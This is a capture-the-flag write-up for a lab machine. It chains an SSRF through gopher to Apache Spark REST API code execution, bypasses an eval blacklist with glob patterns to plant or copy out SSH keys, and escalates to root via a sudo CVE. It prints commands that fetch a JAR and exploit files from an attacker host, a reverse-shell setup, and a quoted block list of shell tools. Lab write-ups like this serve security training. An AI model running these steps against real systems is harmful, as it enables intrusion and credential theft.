Target Information
- IP Address: 172.16.15.201
- Difficulty: Hard
- Tags: SSRF, Gopher, Apache Spark, RCE, Blacklist Bypass, Sudo Privesc
Reconnaissance
Port Scanning
An external Nmap scan revealed a minimal attack surface:
nmap -sC -sV -p- -vvv -oA nmap --min-rate 500 172.16.15.201Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open http Apache httpd 2.4.58 (Ubuntu)
Only two services are exposed externally. The main attack surface is internal and reachable through SSRF.
Web Enumeration
Discovery: SSRF via the html Parameter
The /render.php endpoint accepts arbitrary HTML through the html parameter and renders it server-side, enabling SSRF.
Test payload:
<style>@import url("http://10.0.35.83:8888/p.css")</style>Listener:
nc -lvnp 8888Response:
Connection received on 172.16.12.177 39710
GET /p.css HTTP/1.1
Host: 10.0.35.83:8888
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Vulnerability confirmed! The server makes outbound HTTP requests while rendering HTML, confirming SSRF.
Gopher SSRF — Probe and Internal Scan
The gopher:// protocol can send raw TCP payloads to internal services. First, validate the vector:
pipx run test_gopher_http.py
[*] Sending a gopher HTTP GET to 10.0.35.83:8000/probe_test
[*] HTTP 200 (1030 bytes)172.16.12.177 - - [26/Feb/2026 20:22:53] "GET /probe_test HTTP/1.0" 404 -
Gopher works. With the vector confirmed, scan internal ports through SSRF:
pipx run scan.py scan 172.16.12.177
[*] Port scan 172.16.12.177 (14 portas, raw)
[+] :80 OPEN|resp 0.00s
[+] :22 OPEN|resp 0.00s
[+] :21 OPEN|resp 0.00s
[+] :6066 OPEN|resp 0.00s
[+] :443 OPEN|resp 0.00s
[+] :5432 OPEN|resp 0.00s
[+] :3306 OPEN|wait 5.00s
[+] :7077 OPEN|wait 5.00s
[+] :8080 OPEN|wait 5.00s
[+] :8081 OPEN|wait 5.00s
[+] :8443 OPEN|wait 5.00s
[+] :27017 OPEN|wait 5.00s
[+] :9200 OPEN|wait 5.00s14 internal services exposed. Port 6066 (Apache Spark REST API) is the RCE vector.
Exploitation: Remote Code Execution
Apache Spark REST API — Malicious JAR Submission
Apache Spark exposes a REST API on port 6066 that accepts jobs in cluster mode. Combined with SSRF through gopher, this allows sending a CreateSubmissionRequest that points to a locally hosted malicious JAR.
JSON body:
{
"action": "CreateSubmissionRequest",
"appResource": "http://10.0.35.83:8000/shell.jar",
"clientSparkVersion": "3.0.0",
"mainClass": "ReverseShell",
"environmentVariables": {"SPARK_ENV_LOADED": "1"},
"sparkProperties": {
"spark.master": "spark://127.0.0.1:7077",
"spark.app.name": "healthcheck",
"spark.jars": "http://10.0.35.83:8000/shell.jar",
"spark.driver.supervise": "false",
"spark.submit.deployMode": "cluster"
},
"appArgs": []
}Exploit via SSRF:
pipx run spark_rce.py 172.16.12.177
[*] Target Spark: 172.16.12.177:6066
[*] JAR: http://10.0.35.83:8000/shell.jar
[*] Reverse shell: 10.0.35.83:4444
[*] SSRF → http://172.16.12.177/render.php
[*] Gopher payload (849 chars)
[*] HTTP 200 (1030 bytes)
[+] Request sent. Waiting for a connection in netcat...HTTP Server (JAR delivery):
sudo python3 -m http.server 8000
172.16.12.177 - - [26/Feb/2026 20:14:41] "GET /shell.jar HTTP/1.1" 200 -Listener:
penelope
[+] Got reverse shell from 16ad5bae4500~172.16.12.177-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
svc_backup@16ad5bae4500:~/work/driver-20260226231440-0000$Reverse shell obtained as svc_backup!
Post-Exploitation: Backup Manager Analysis
Discovery: Backup Script with Command Execution
Enumeration revealed /opt/backup_manager.sh, which processes jobs from /var/backups/queue/. Each .backup file contains a command that is executed through eval after passing a blacklist filter.
BLOCKED_CHARS=('$(' '`' '|' '&' ';' '>' '<')
BLOCKED_KEYWORDS=('bash' 'sh' 'nc' 'netcat' 'python' 'perl' 'wget' 'curl' 'exec' 'eval')Execution:
eval "$command" >> "$LOG_FILE" 2>&1Vulnerability: The blacklist uses literal string matching and can be bypassed with wildcards and shell glob patterns.
Blacklist Bypass — File Reading
Words such as bash are blocked, but bash* is not. The .ssh path is blocked by the /bin/(ba)?sh regex, but .??h matches it through globbing:
# Read the script using a wildcard
echo 'script -c "cat /opt/backup_manage*" /var/backups/bm_src' > /var/backups/queue/g1.backup[2026-02-27 03:43:03] Executing: script -c "cat /opt/backup_manage*" /var/backups/bm_src
Script started, output log file is '/var/backups/bm_src'.
Privilege Escalation: SSH Access via Backup Manager
Two approaches use the same bypass mechanism — reference .ssh as .??h:
Option A — Injecting Our Own Public Key
Add the attacker’s public key to the account’s authorized_keys.
1. Generate the key pair:
ssh-keygen -t ed25519 -f /tmp/id_ctf -N ""2. Write the public key to an accessible location:
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ6JrRzuhkzOS2Xsm7+YVVz4sAHYJkJ4agGGd85wxWn cbxcvl@archlinux' > /var/backups/pubkey3. Copy job using a glob bypass:
echo 'cp /var/backups/pubkey /home/svc_backup/.??h/authorized_keys' > /var/backups/queue/j1.backup[2026-02-27 04:11:21] Executing: cp /var/backups/pubkey /home/svc_backup/.??h/authorized_keys
[2026-02-27 04:11:21] Job completed: j1.backup
Option B — Extracting the Existing Private Key
Copy the entire .ssh directory to a readable location and exfiltrate the existing private key:
echo 'cp -r /home/svc_backup/.??h /var/backups/svckeys' > /var/backups/queue/k1.backup/var/backups/svckeys/:
-rw------- svc_backup id_rsa
-rw-r--r-- svc_backup id_rsa.pub
-rw-rw-r-- svc_backup authorized_keys
cat /var/backups/svckeys/id_rsa
# -----BEGIN OPENSSH PRIVATE KEY-----
# ...existing RSA key for the svc_backup account...Persistent SSH access as svc_backup obtained — either with an injected key (Option A) or an exfiltrated key (Option B).
Privilege Escalation: CVE-2025-32463 — Sudo Shared Library Hijack
Permission Enumeration
sudo --versionSudo version 1.9.15p5
Vulnerable version identified. CVE-2025-32463 affects sudo versions earlier than 1.9.17p1.
CVE-2025-32463
This sudo vulnerability allows an unprivileged local user to escalate to root through shared library hijacking. In certain execution flows, sudo fails to sanitize the library loading path properly, allowing a malicious .so to load in a root context.
Exploitation
# Download do PoC e biblioteca maliciosa
curl 10.0.35.83:8888/poc.sh -o /tmp/poc.sh
curl 10.0.35.83:8888/woot1337.so.2 -o /tmp/woot1337.so.2
chmod +x /tmp/poc.sh
/tmp/poc.shwoot!
root@ip-172-16-14-150:/#
ROOT OBTAINED!
Attack Chain Summary
1. SSRF Discovery
↓ /render.php?html= accepts arbitrary HTML → outbound requests
2. Gopher SSRF
↓ The gopher protocol allows raw TCP payloads to be sent to internal services
3. Port Scan Interno
↓ Spark REST API discovered on port 6066
4. Apache Spark RCE
↓ CreateSubmissionRequest sent through gopher → malicious JAR execution
5. Initial Access (svc_backup)
↓ Reverse shell through a JAR containing the ReverseShell class
6. Backup Manager Enumeration
↓ Script using eval() with a bypassable blacklist
7. Blacklist bypass
↓ Wildcards and `.??h` patterns bypass string filters
8. SSH Key Injection
↓ Public key injected through a backup job
9. Sudo Privilege Escalation
↓ PoC + shared library → root
Vulnerabilities Summary
-
Server-Side Request Forgery (SSRF)
CWE-918Critical- The
htmlparameter in/render.phptriggers arbitrary server-side requests, including gopher requests to internal services
- The
-
Apache Spark Unauthenticated REST API
CWE-306Critical- The unauthenticated Spark REST API (port 6066) allows arbitrary cluster job submissions, resulting in RCE
-
Command Injection via Blacklist Bypass
CWE-78High- The backup script uses
evalwith a string blacklist that can be bypassed using wildcards and Bash glob patterns
- The backup script uses
-
CVE-2025-32463 — Sudo Shared Library Hijack
CWE-426Critical- Sudo 1.9.15p5 (< 1.9.17p1) allows root escalation through shared library hijacking
Technical Analysis
Apache Spark REST API — Attack Flow
Technology: Apache Spark 3.0.0, REST Submission Server (port 6066)
Exploitation flow:
- SSRF with gopher builds a raw HTTP POST request to
http://127.0.0.1:6066/v1/submissions/create - The JSON payload instructs the Spark master to fetch and run an external JAR in cluster mode
- The Spark worker downloads the JAR and runs the
ReverseShellclass - Callback to the attacker’s listener
Backup Manager — Blacklist Analysis
BLOCKED_CHARS=('$(' '`' '|' '&' ';' '>' '<')
BLOCKED_KEYWORDS=('bash' 'sh' 'nc' ...)
# Bypass via glob — .ssh → .??h
cp /var/backups/pubkey /home/svc_backup/.??h/authorized_keys
# Bypass via wildcard — backup_manager.sh → backup_manage*
script -c "cat /opt/backup_manage*" /var/backups/bm_srcThe filter does not block wildcards (*, ?), allowing indirect references to blocked paths and filenames.
Mitigation Recommendations
Application Level
-
Disable SSRF:
- Implement an allowlist of permitted domains/IP addresses
- Block requests to private IPs (RFC 1918) and localhost
- Disable support for protocols such as
gopher://,file://, anddict://
-
Replace the backup manager blacklist with an allowlist:
# Define allowed commands instead of blocking malicious patterns
ALLOWED_COMMANDS=('rsync' 'tar' 'gzip')System Level
-
Proteger a API REST do Spark:
- Enable authentication (
spark.authenticate=true) - Restrict access to port 6066 with a firewall
- Do not expose the Spark master directly to the network
- Enable authentication (
-
Replace
evalwith safe execution:
# Use exec with positional arguments instead of eval
exec "$command" "$@"-
Update sudo to version >= 1.9.17p1 (fixes CVE-2025-32463)
-
Principle of least privilege:
- The
svc_backupservice must not have write access to critical directories - Separate backup manager permissions
- The
Tools Used
- netcat / penelope - Reverse shell listener
- gopher - Protocol for SSRF with raw TCP payloads
- Apache Spark REST API - Submit malicious jobs
- ssh-keygen - Generate an ED25519 key pair
Attack Chain Scripts
Gopher SSRF Port Scanner
# scan.py — scan interno via SSRF gopher
# Build gopher URLs for each port and analyze the render.php responseSpark RCE
# spark_rce.py — submete JAR malicioso via SSRF
# Payload: CreateSubmissionRequest com mainClass=ReverseShellFlags
Reverse Shell: svc_backup@16ad5bae4500
Root: root@ip-172-16-14-150
References
SSRF & Gopher
Apache Spark
Bash Blacklist Bypass
Privilege Escalation
Author: cbxcvl Date: February 27, 2026 Machine: Spark Platform: HackingClub
Proof of Concept Scripts
Exploit commands and requests are documented inline above. No standalone script was included in the source notes.